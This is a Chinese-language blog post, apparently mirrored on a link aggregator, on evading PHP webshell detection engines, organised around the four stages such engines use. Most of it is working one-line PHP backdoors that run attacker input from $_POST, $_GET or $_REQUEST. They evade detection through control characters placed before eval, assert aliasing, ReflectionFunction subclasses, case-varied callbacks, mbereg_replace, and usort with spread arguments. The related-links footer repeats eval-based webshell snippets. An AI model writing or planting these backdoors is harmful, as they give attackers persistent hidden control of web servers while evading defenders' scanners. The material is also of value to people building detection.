11

绕过php webshell检测的一些思考方式

 3 years ago
source link: https://www.landgrey.me/blog/10/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

绕过php webshell检测的一些思考方式

  • 11个月前 •

读完原文章确实很受启发,按照自己的思路记录下这篇笔记,以后有时间再进行扩展,因此该文章并不是原创内容。

Webshell 检测引擎对 php 回调型后门的检测步骤:

1. 在目标文件或内容中找到 PHP 代码
2. 将 PHP 代码解析成 AST Tree,并遍历
3. 分析 FuncCall Node,判断是否调用了含有"回调参数"的函数
4. 判断回调参数是否是一个变量

针对 第一步 :

在目标文件或内容中找到 PHP 代码

攻击原理:

检测引擎会根据 PHP 代码标签来界定 PHP 代码

攻击方法:

用不常见的标签就可能导致检测引擎识别不到 PHP 代码,导致被绕过

PHP 支持的四种标签如下:

  • <?php ?> 标签
  • <? ?> 标签
  • <% %> 标签 (默认不开启,PHP7 后被移除)
  • <script language="php"> </script> 标签 (PHP7 后被移除)

针对 第二步 :

将 PHP 代码解析成 AST Tree,并遍历

攻击原理:

让检测引擎无法解析将 PHP 代码正常解析成 AST Tree

攻击方法:

在恶意函数和左边括号直接添加控制字符(\x00-\x20)

绕过一些具有语法解析的Webshell检测引擎示例:

<?php eval\x01\x02($_POST[2333]);

(其中, \x01\x02需要转换成实际的不可见字符)

针对 第三步 :

判断是否调用了含有 "回调参数" 的函数

攻击原理:

检测引擎内置恶意函数名黑名单,通过和黑名单比对函数名/类名是否相同,来确定某函数是否为恶意函数

攻击方法:

使被调用的恶意函数名/类名不在黑名单中

  • 函数名大小写变化
UsORt($_POST[1], $_POST[2]);
  • 设置函数别名 (PHP >=5.6 增加函数名的命名空间)
<?php
use function \assert as test;

test($_POST[2333]);
  • 继承恶意父类利用子类来调用类的恶意函数
<?php
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
<?php
$f = new class($_POST['name']) extends ReflectionFunction {};
$f->invoke($_POST[2333]); # php 7.x
  • 发现比黑名单更多的恶意函数 (增加除经验、文档以外如:源码中隐藏的发现渠道)
mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer');   # PHP <= 7.2, mbereg_ireplace 也可以

针对 第四步 :

判断回调参数是否是一个变量

攻击原理:

攻击检测引擎判断回溯变量的方式

攻击方法:

PHP >=5.6,可传入变长数组作为函数变量,如:

usort(...$_GET);

PHP动态特性的捕捉与逃逸

标签: php  备忘  随笔 

昵称 *
邮箱 *
Message

Recommend

  • 215

    PHP-WebShell-Bypass-WAF PHP WebShell 一句话的结构是:输入和执行,这是经典的PHP 一句话代码: <?php eval($_GET['test']); ?> <?php eval($_POST['test']); ?> WebShell 的输入点在$_GET 和...

  • 6

    基于PHP的Webshell自动检测刍议 WotChin

  • 20
    • www.freebuf.com 4 years ago
    • Cache

    WAF对WebShell流量检测的性能分析

    最近在一次授权渗透测试中遇到了一个棘手的场景,万能的队友已经找到了后台上传点,并传了小马然后开心地用antsword进行连接,但是由于明文传输很快被waf感知,并引起了管理员的注意,很快我们的马被清了,真是偷鸡不成蚀把米。 ...

  • 12
    • zhuanlan.zhihu.com 3 years ago
    • Cache

    牧云Webshell检测神器

    最近一直在加班搞案例库,从接到需求到完成编写,只给了1个星期的时间。虽说是一个简单的活,但是也是费时费力,安全服务团队编写的文档,需要做大量的修改,才能成为产品中的一部分,各种截图还需要规避侵权。比如出现了xShell...

  • 20
    • www.smi1e.top 3 years ago
    • Cache

    php webshell检测与绕过

    文章首发于安全客:https://www.anquanke.com/post/id/197631Contents [显示目录] 一般的,利用能够执行系统命令、加载代码的函数...

  • 4

    如何精确查找PHP WEBSHELL木马? – CFC4N的博客上篇提到了

  • 10
    • 微信 mp.weixin.qq.com 3 years ago
    • Cache

    采用HAN网络模型的WebShell检测

    引言 WebShell是一种常见的Web攻击技术,其基于Web脚本开发,主要由PHP、jsp、asp等语言编写,由攻击者通过文件上传、SQL注入等攻击手段植入Web应用内。常用于权限维持、数据窃取、内网探测等攻击目的。 通过对Web服务器植入WebShell,攻击...

  • 1

    slopShell:你唯一需要的PHP Webshell Alpha_h4ck 2021-06-02 22:23:01 112030

  • 2
    • www.leavesongs.com 2 years ago
    • Cache

    一些不包含数字和字母的webshell

    在小密圈提了个问题,“如何编写一个不使用数字和字母的webshell”,并具体成如下代码: <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } 那么,这个代码如何利用?

  • 12
    • gist.github.com 2 years ago
    • Cache

    easy-simple-php-webshell.php

    easy-simple-php-webshell.php · GitHub However, there are a number of potential entry points, from coding error in the web application to c...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK